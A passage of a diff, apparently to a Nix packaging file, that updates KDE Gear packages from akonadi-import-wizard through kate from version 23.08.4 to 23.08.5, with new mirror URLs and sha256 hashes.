"${mirror}/stable/release-service/23.08.5/src/akonadi-import-wizard-23.08.5.tar.xz"; + sha256 = "19jdk7bcb0cyd28lwzfm1nyzsvh9wm664c27mhfadsin0jy9dj9w"; + name = "akonadi-import-wizard-23.08.5.tar.xz"; }; }; akonadi-mime = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-mime-23.08.4.tar.xz"; - sha256 = "1bzsddyr784a4dw1fqp57xp8az6dysqy7xmfygm5r5bbbdnlxdpb"; - name = "akonadi-mime-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-mime-23.08.5.tar.xz"; + sha256 = "0cy8wl6r9arzy6zb4mmzy7nxy7j647kklrwms43q3zkkxacyah7x"; + name = "akonadi-mime-23.08.5.tar.xz"; }; }; akonadi-notes = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-notes-23.08.4.tar.xz"; - sha256 = "0vlcbb783jj3zx8nsrd0r7si28463rsd2xcxb3z5m4il8xmr0smh"; - name = "akonadi-notes-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-notes-23.08.5.tar.xz"; + sha256 = "13l3wnmbips201xpa8wk7gj35m4fnw1aqd8js15sinc7r768wfpy"; + name = "akonadi-notes-23.08.5.tar.xz"; }; }; akonadi-search = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-search-23.08.4.tar.xz"; - sha256 = "0ipwxa0xv8bwvx9ngpq2i3ivq0s97m0x2kj4n4dw4sil31x2yzq5"; - name = "akonadi-search-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-search-23.08.5.tar.xz"; + sha256 = "1d5dh5jn1a7l1w0ab0vabrcbhj3sy18g9ya9p50agvk8fh5ka8gg"; + name = "akonadi-search-23.08.5.tar.xz"; }; }; akonadiconsole = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadiconsole-23.08.4.tar.xz"; - sha256 = "1xnvrpd7xy2cz6m8x41lki3gnvfq74gvi9vlyfpf9v85z4ri6jhv"; - name = "akonadiconsole-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadiconsole-23.08.5.tar.xz"; + sha256 = "171apc4vdwlg4904am5cnb3rcsv4f9bfcpk4y46ki0dvi3x4vj31"; + name = "akonadiconsole-23.08.5.tar.xz"; }; }; akregator = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akregator-23.08.4.tar.xz"; - sha256 = "1psgzcw84xnh7xgi1s1yxk41sndshy8j1mvvz42gasrpqdfzrpjv"; - name = "akregator-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akregator-23.08.5.tar.xz"; + sha256 = "12q2d3w4jk6mzglabzx8djmsd6y5b5bfx02gnncgpm2n5a3iydsj"; + name = "akregator-23.08.5.tar.xz"; }; }; alligator = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/alligator-23.08.4.tar.xz"; - sha256 = "0g8ps4vkrc1wdprand6y8h99zh4flhg4mcqn1552nk5p3kcyvzh1"; - name = "alligator-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/alligator-23.08.5.tar.xz"; + sha256 = "17h0h2gl3ybawnnlj1v1mz7izb6vj3rkan3fkdvjb1w63fm7pgaa"; + name = "alligator-23.08.5.tar.xz"; }; }; analitza = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/analitza-23.08.4.tar.xz"; - sha256 = "0d0qaz08xaiy1whg9vgd4316fvzfhm1wnmy17b83p8ihd80p8agk"; - name = "analitza-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/analitza-23.08.5.tar.xz"; + sha256 = "1h06nr5fclkp6f98pdw45ibn03bv29js294czi0y7n3w729kxzs6"; + name = "analitza-23.08.5.tar.xz"; }; }; angelfish = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/angelfish-23.08.4.tar.xz"; - sha256 = "1nggkgwkvgczpn3aq8isphzhykjihdd8a6nfrghfnsbfjmnz1y7s"; - name = "angelfish-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/angelfish-23.08.5.tar.xz"; + sha256 = "0rpc4kqvmxmx393vbj92303phzf72k5djgy1c6fmmbx87myj2aic"; + name = "angelfish-23.08.5.tar.xz"; }; }; arianna = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/arianna-23.08.4.tar.xz"; - sha256 = "04rj2p1s75na1yac4swlanqh6ijsn4d4wy5vn0f0lkgbbd9pgc0z"; - name = "arianna-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/arianna-23.08.5.tar.xz"; + sha256 = "0rf3538940zxkgfsi34zha0k0k1895dj9sbl86kr0bsqjsjvpzgg"; + name = "arianna-23.08.5.tar.xz"; }; }; ark = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ark-23.08.4.tar.xz"; - sha256 = "17makvdjycjxxykmxm0kw3amdwp55296zvhrqs3a4fwbg352c912"; - name = "ark-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ark-23.08.5.tar.xz"; + sha256 = "1sygmsbrd6ps8zjy29n7nsfilij3737x50qld49m3qnlw9jcb0b0"; + name = "ark-23.08.5.tar.xz"; }; }; artikulate = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/artikulate-23.08.4.tar.xz"; - sha256 = "1vxd0k30qviz1qp2308dp3d4627dfvl86114d9x2xlwgyf78mmfw"; - name = "artikulate-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/artikulate-23.08.5.tar.xz"; + sha256 = "18bb67l0hklmyaxciwpfd92n4xyqlmr6qismf7kzsksjv2k9n2d7"; + name = "artikulate-23.08.5.tar.xz"; }; }; audiocd-kio = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/audiocd-kio-23.08.4.tar.xz"; - sha256 = "011g4g5c5mbhdiqsc9rl8wsjvcbyxn4ikmiz0jcn7v7rjg91z7zc"; - name = "audiocd-kio-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/audiocd-kio-23.08.5.tar.xz"; + sha256 = "1ir383qwfcabdc0x3203x60k6vpkzcjmay5dk6vk4ra5hglvrj2m"; + name = "audiocd-kio-23.08.5.tar.xz"; }; }; audiotube = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/audiotube-23.08.4.tar.xz"; - sha256 = "1jbnwk16awsqg08xarx1gpxix0fjy1jfifhpvd6gww70p6m6d1kr"; - name = "audiotube-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/audiotube-23.08.5.tar.xz"; + sha256 = "06bx8bsz784z19937vf723dylpfk7xah2w0p4c1vhv47mznqn991"; + name = "audiotube-23.08.5.tar.xz"; }; }; baloo-widgets = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/baloo-widgets-23.08.4.tar.xz"; - sha256 = "0mqnfavcickq07kz2xiq1j1mn4prv7jhhfbl635zg4s95anz6f7y"; - name = "baloo-widgets-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/baloo-widgets-23.08.5.tar.xz"; + sha256 = "1m1q77qagyiv9bnnsyzwi6mh48slwdgb725k1awkisyzfiznq6a9"; + name = "baloo-widgets-23.08.5.tar.xz"; }; }; blinken = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/blinken-23.08.4.tar.xz"; - sha256 = "0g85bzm4nx4jialscjxva6438s6q24pr4cbqs52q1c3hkh90qn26"; - name = "blinken-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/blinken-23.08.5.tar.xz"; + sha256 = "1im3gci81bdh3il0fyf9d2pxdkdcp1pkn9ib5z8isyy9ffclpl2a"; + name = "blinken-23.08.5.tar.xz"; }; }; bomber = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/bomber-23.08.4.tar.xz"; - sha256 = "0zj31z3zkgv34x42378v5l7gcq5k530x2adpi476zxmx0nwmwsmk"; - name = "bomber-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/bomber-23.08.5.tar.xz"; + sha256 = "12mk93y3y006n6rm4p1n9xcx6wq84rnxgjc9rnvf46hg99fb37kn"; + name = "bomber-23.08.5.tar.xz"; }; }; bovo = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/bovo-23.08.4.tar.xz"; - sha256 = "1kk0vkd6vrlnrhxrkdacxvm60rqm5j0rkwm1vnssg6j90405wq22"; - name = "bovo-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/bovo-23.08.5.tar.xz"; + sha256 = "0jqy3yjq9qjl52bcph3pycslqs7rbw40axzmznr4h4wzj36b6yfv"; + name = "bovo-23.08.5.tar.xz"; }; }; calendarsupport = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/calendarsupport-23.08.4.tar.xz"; - sha256 = "1r018kcxk90ykwvf7bw6lammx2kkzz6jnqp8fl2cfj36pfc84w3w"; - name = "calendarsupport-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/calendarsupport-23.08.5.tar.xz"; + sha256 = "1wrydz0nn6k9f8vwcfcsd95dc9b0y5y6xycwaynmsl8rgskmryk5"; + name = "calendarsupport-23.08.5.tar.xz"; }; }; calindori = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/calindori-23.08.4.tar.xz"; - sha256 = "1sjxjmpc69l26635wg28cmbif2z3jszanmzgpc93s39fgi47mw97"; - name = "calindori-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/calindori-23.08.5.tar.xz"; + sha256 = "03ls91vr495i3qxs49whl4ks7sx8frnfqw4prs9nxpx9gjysn13a"; + name = "calindori-23.08.5.tar.xz"; }; }; cantor = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/cantor-23.08.4.tar.xz"; - sha256 = "01nihsmjfmiipzh7371a7msb3gc0fiw6wh4a2g800c380nvd4ix9"; - name = "cantor-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/cantor-23.08.5.tar.xz"; + sha256 = "07fq3zfcd3hxgi1pa6ma7gw852ry4x9fzj1yy7a2bk2lz2b0p5mz"; + name = "cantor-23.08.5.tar.xz"; }; }; cervisia = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/cervisia-23.08.4.tar.xz"; - sha256 = "1mlydja8652rk9jg2gz3xzsj09kmgwb6miq9fyifv8p024ml9gj1"; - name = "cervisia-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/cervisia-23.08.5.tar.xz"; + sha256 = "07vzn6g87m737nbxb8qqsds3bc5spkn9z060jjwyzdpjj3sld2b0"; + name = "cervisia-23.08.5.tar.xz"; }; }; colord-kde = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/colord-kde-23.08.4.tar.xz"; - sha256 = "1a3lx7ahjcl05jkbril7lx6x12qfmh7w7kxm2gplfhfnii9hvmxv"; - name = "colord-kde-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/colord-kde-23.08.5.tar.xz"; + sha256 = "1f80dqax0wk4g94140qd0lij2vf9083kbsdl7hkc19ric6y2fss6"; + name = "colord-kde-23.08.5.tar.xz"; }; }; dolphin = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/dolphin-23.08.4.tar.xz"; - sha256 = "11c5i2bm33cm84kww4p5jmi64pmfxafjrzri06vl8cwg05w0nqva"; - name = "dolphin-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/dolphin-23.08.5.tar.xz"; + sha256 = "1wziw71xyjz2457hb5l8f9sg5l4f340z341pd87qkzkdavdan2b3"; + name = "dolphin-23.08.5.tar.xz"; }; }; dolphin-plugins = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/dolphin-plugins-23.08.4.tar.xz"; - sha256 = "1m1kmdgx6isyff4i9nj6mv16lsg08rzivd0p42avj1pm17giyhcw"; - name = "dolphin-plugins-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/dolphin-plugins-23.08.5.tar.xz"; + sha256 = "0pf0ddg8dz8l959yd6sig54411gylp8il1wjpfr7ihcd8zm8wi1g"; + name = "dolphin-plugins-23.08.5.tar.xz"; }; }; dragon = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/dragon-23.08.4.tar.xz"; - sha256 = "1h5c29fkarqcbbhirj9q88v5spsp1l4hkjs0akp21j212b309dd5"; - name = "dragon-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/dragon-23.08.5.tar.xz"; + sha256 = "0w8ml7087z4vikp92mh6cm2mzxp4zjk0cr8mxzvap745vbxj21j1"; + name = "dragon-23.08.5.tar.xz"; }; }; elisa = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/elisa-23.08.4.tar.xz"; - sha256 = "0hsikp4ya26gq0v1f259mbwahl5rv1lfjj3cwh579rwabk8vpj5a"; - name = "elisa-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/elisa-23.08.5.tar.xz"; + sha256 = "1hml0bmp1cfqc9x9q2a1lz2f6ab7ygblf6xz0qlwjxripvqw8b47"; + name = "elisa-23.08.5.tar.xz"; }; }; eventviews = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/eventviews-23.08.4.tar.xz"; - sha256 = "0zl527fzz9brhk0gqvgfnzmqhqc3phxg97nafadvasrj8fz8nv9h"; - name = "eventviews-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/eventviews-23.08.5.tar.xz"; + sha256 = "06qwmzxayfxsyzmg90j1xycvfs6ynyggvk0xkrf7gfp682ckba99"; + name = "eventviews-23.08.5.tar.xz"; }; }; falkon = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/falkon-23.08.4.tar.xz"; - sha256 = "0qvd53klxfmfm4b3apwvywwzi1k9qv6c2wyljz0cziycd2vq917h"; - name = "falkon-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/falkon-23.08.5.tar.xz"; + sha256 = "0xxhhdqlxfs97qphfpkb8gfmsi1gk3cbpd2y4rj0zrd668a5y2l0"; + name = "falkon-23.08.5.tar.xz"; }; }; ffmpegthumbs = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ffmpegthumbs-23.08.4.tar.xz"; - sha256 = "0jv8fy68fwikn3vlf4hxvnyqv1a1hs18zdj2ds112ymlmw846bsh"; - name = "ffmpegthumbs-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ffmpegthumbs-23.08.5.tar.xz"; + sha256 = "1pz5bc52z5lkydl1w9c6bhvbdjn07p3r4qgx36xl3wfc5zi3rn6s"; + name = "ffmpegthumbs-23.08.5.tar.xz"; }; }; filelight = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/filelight-23.08.4.tar.xz"; - sha256 = "1irn8kbbka1p9dzh9yl87fc7gz9486bq3wxbiw4gh11pkrm246dg"; - name = "filelight-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/filelight-23.08.5.tar.xz"; + sha256 = "08kmy39r6l6akkkl00snjvw5zf5115gc5czf1m5xr189zjp4vz5p"; + name = "filelight-23.08.5.tar.xz"; }; }; ghostwriter = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/ghostwriter-23.08.4.tar.xz"; - sha256 = "0w8cjrvsibhp7q4b2wqhi5pmbvir6p1z283k3pq6qhl72fg9cpd8"; - name = "ghostwriter-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/ghostwriter-23.08.5.tar.xz"; + sha256 = "1nfhnjf627p3qgfamy1nb09dvqavv0qh5cs6czpy4ghz8i4mddx0"; + name = "ghostwriter-23.08.5.tar.xz"; }; }; granatier = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/granatier-23.08.4.tar.xz"; - sha256 = "1n6x7nlrxdlj54rwbdv440sf6g5a56mnhlsf5x54z97il3jrvxxm"; - name = "granatier-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/granatier-23.08.5.tar.xz"; + sha256 = "1vi9cws499g9962k4hyjzl13sbsrga0qyjqdp9i0v5pr3mi4l1zh"; + name = "granatier-23.08.5.tar.xz"; }; }; grantlee-editor = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/grantlee-editor-23.08.4.tar.xz"; - sha256 = "0aczzf4bgg9gsh83nzifia2vrmk5xr3y0nxsw0dk061s1g1d04yc"; - name = "grantlee-editor-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/grantlee-editor-23.08.5.tar.xz"; + sha256 = "130a57bmg6ydcj0jn21i39ilf61prsisz2f2lw9gcq5g1s2xbk9j"; + name = "grantlee-editor-23.08.5.tar.xz"; }; }; grantleetheme = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/grantleetheme-23.08.4.tar.xz"; - sha256 = "0bf3llh7y9n7wlgmpb9ydpm4grfhcwgf7nsjz0c84mkgv1a9876q"; - name = "grantleetheme-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/grantleetheme-23.08.5.tar.xz"; + sha256 = "1xa2y8zxn6s9hvs6nsf2bzkifg1xcdk9mz7r2pj2h3gvl2rq2qv8"; + name = "grantleetheme-23.08.5.tar.xz"; }; }; gwenview = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/gwenview-23.08.4.tar.xz"; - sha256 = "01ddradjrcamkpjzskyiwm53i1iisk9y5v2vjffhgmvldjkrnm28"; - name = "gwenview-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/gwenview-23.08.5.tar.xz"; + sha256 = "0f4h2vf8nkz1jcrxw98n52divvdmxh434659m1pd4l5pag0d3z54"; + name = "gwenview-23.08.5.tar.xz"; }; }; incidenceeditor = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/incidenceeditor-23.08.4.tar.xz"; - sha256 = "0d8y9fvmr1mbi6virz9vsiaz4vhy5v74ngilmy3s488s99mhbm4f"; - name = "incidenceeditor-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/incidenceeditor-23.08.5.tar.xz"; + sha256 = "153kh0syw4v67sfjfhq45s34mlsz6lz96mvmfrl9lm9dn5bwyq6z"; + name = "incidenceeditor-23.08.5.tar.xz"; }; }; itinerary = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/itinerary-23.08.4.tar.xz"; - sha256 = "0jdb2m35r20bc8w2iq5xdjzfmdvaw0di4sp6wxl8vhcj0py1ryhw"; - name = "itinerary-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/itinerary-23.08.5.tar.xz"; + sha256 = "19r7k64a4dalarxm7j2jf2p86cnxqxah0iqj68ibazhl1sdqrqs2"; + name = "itinerary-23.08.5.tar.xz"; }; }; juk = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/juk-23.08.4.tar.xz"; - sha256 = "1ar9418j11sy213nis0i0l4nabqcrbxck7rzkn961cvaflw22par"; - name = "juk-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/juk-23.08.5.tar.xz"; + sha256 = "0wddl5sp2sbi8c8vxrqikipv2d6b65w28nxzsinz703cliyjcx67"; + name = "juk-23.08.5.tar.xz"; }; }; k3b = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/k3b-23.08.4.tar.xz"; - sha256 = "096bv6jphlq3ch32q30d6h9qg5q8iphhkdpgb4hgmgz8pp2qgsrh"; - name = "k3b-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/k3b-23.08.5.tar.xz"; + sha256 = "16ihb7xnzjbcywfki6vx932m3wi691n70ribzl85fl688n5m32f7"; + name = "k3b-23.08.5.tar.xz"; }; }; kaccounts-integration = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kaccounts-integration-23.08.4.tar.xz"; - sha256 = "0ln9f46kbhy7xpbvbbiv3i0kav0w5siqdbhj3s951a6c0mj1dv3v"; - name = "kaccounts-integration-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kaccounts-integration-23.08.5.tar.xz"; + sha256 = "1f99s7hiix1ccp8zz2z6vb1xf13ffpaan6sqqz4xz1y3jmaf4bn0"; + name = "kaccounts-integration-23.08.5.tar.xz"; }; }; kaccounts-providers = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kaccounts-providers-23.08.4.tar.xz"; - sha256 = "11cg52vh6bapim4g2s1h7ds59kffrsidq5xg0w3cn9aqhh8hpi89"; - name = "kaccounts-providers-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kaccounts-providers-23.08.5.tar.xz"; + sha256 = "1ig5k4aalqcq6jjj0y6kg914zj2a0bc3pvws6kjhcyc1kq1q0g88"; + name = "kaccounts-providers-23.08.5.tar.xz"; }; }; kaddressbook = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kaddressbook-23.08.4.tar.xz"; - sha256 = "11j2a10xc0hmdmsqc6zqv2bjqj5msf3lqk5qq3dkkcgnwipr4v0d"; - name = "kaddressbook-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kaddressbook-23.08.5.tar.xz"; + sha256 = "08lbkbscqaa5ir7knby457zi0ig79280rcan1fak7gapvpipwhd8"; + name = "kaddressbook-23.08.5.tar.xz"; }; }; kajongg = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kajongg-23.08.4.tar.xz"; - sha256 = "0nlhh99nsndjd3gzc95dfmn1gzxnq8gg2l9m1mm90hnp4d655jbm"; - name = "kajongg-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kajongg-23.08.5.tar.xz"; + sha256 = "05ji28lld3y80smj6krwrv5hb74j4wchv65b2q046snk5i5hlf0p"; + name = "kajongg-23.08.5.tar.xz"; }; }; kalarm = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kalarm-23.08.4.tar.xz"; - sha256 = "0vhjx29i5ikk427md3i8kcf9s6q150hi01gsb64y5lx8jk2hpci1"; - name = "kalarm-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kalarm-23.08.5.tar.xz"; + sha256 = "1g85pm0l5wjd1hp10klsz8prnic9g7jcbp56a1wkf0f25pzg1pq9"; + name = "kalarm-23.08.5.tar.xz"; }; }; kalgebra = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kalgebra-23.08.4.tar.xz"; - sha256 = "04wx0ai2xsq8br7hpvm2hcdf5fg0c982bshqsrbxvj1dhrb4mmwd"; - name = "kalgebra-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kalgebra-23.08.5.tar.xz"; + sha256 = "0fjkx5m34qwgad9amjbgql4awbl8irqhfyrfrxjpwp773lhifbq4"; + name = "kalgebra-23.08.5.tar.xz"; }; }; kalk = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kalk-23.08.4.tar.xz"; - sha256 = "1ngckrp6lsgb6cnp2d6fca0ywqddwacmr9ac4w6zfzyfjpiyxmic"; - name = "kalk-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kalk-23.08.5.tar.xz"; + sha256 = "1q4p6f4xrd73iqw1dqk2z65sly123dh9gwvi07i71dk49r9ykrfr"; + name = "kalk-23.08.5.tar.xz"; }; }; kalzium = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kalzium-23.08.4.tar.xz"; - sha256 = "0gkvschn9la909907xa52hkp55rnbjm3rhrb6gjj07xxf1qrq358"; - name = "kalzium-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kalzium-23.08.5.tar.xz"; + sha256 = "1134q2z6vx8p244grk8szxnlw942ry50a72j2qfyf96ksrs5bz4v"; + name = "kalzium-23.08.5.tar.xz"; }; }; kamera = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kamera-23.08.4.tar.xz"; - sha256 = "148pa22gmcb87hp9mxwchc32zjrc7j0n60np5g46h4czjmcppsca"; - name = "kamera-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kamera-23.08.5.tar.xz"; + sha256 = "1chddpy4larjavd2c2blzxk23kay7hbpsm06fxfa052344qqd5j6"; + name = "kamera-23.08.5.tar.xz"; }; }; kamoso = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kamoso-23.08.4.tar.xz"; - sha256 = "0ravp92i6q5cn4n6w89991yckjgjp6asm4bsnhnl434gv3q8dj6f"; - name = "kamoso-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kamoso-23.08.5.tar.xz"; + sha256 = "00cdy2yyaw3p6vv0hg4zgc70yyggy6v6yzp97m8c21i9v8w4bk44"; + name = "kamoso-23.08.5.tar.xz"; }; }; kanagram = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kanagram-23.08.4.tar.xz"; - sha256 = "0whnpy0yib7gdy8fj9gk21vs7q3lgr0il6ghzzykjq8s65xav4mm"; - name = "kanagram-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kanagram-23.08.5.tar.xz"; + sha256 = "0163sja60kysny0zbq76q438hxfmv2a9hxrbzhqsniy38w5zr44j"; + name = "kanagram-23.08.5.tar.xz"; }; }; kapman = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kapman-23.08.4.tar.xz"; - sha256 = "0cyp29nw0cgri2yw0rsc7y5bg37df331s8m1xajsaq2i2f15yk0y"; - name = "kapman-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kapman-23.08.5.tar.xz"; + sha256 = "1rx1rrka76r4y5d71kxin8zb8b4xgfndf8g5875ygfij0l05yxg3"; + name = "kapman-23.08.5.tar.xz"; }; }; kapptemplate = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kapptemplate-23.08.4.tar.xz"; - sha256 = "1g7r8fj2jyisk1f1fv7q9bfmmhz08xmbs9wx3xk67ijkmzbpszyx"; - name = "kapptemplate-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kapptemplate-23.08.5.tar.xz"; + sha256 = "0lan9219l29vdg974cpnchndwsl9g59w13kdkz8hmcb1fycxcy4v"; + name = "kapptemplate-23.08.5.tar.xz"; }; }; kasts = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kasts-23.08.4.tar.xz"; - sha256 = "18vj02zdzi01r004jv8hpkmgjm0m74kypdsk8xcvw54vqzb5krmi"; - name = "kasts-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kasts-23.08.5.tar.xz"; + sha256 = "1n5n2rlfsp4fn34xsmcsvmacgy3h88md5aynsxaw8hf8mhl7hrwh"; + name = "kasts-23.08.5.tar.xz"; }; }; kate = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kate-23.08.4.tar.xz"; - sha256 = 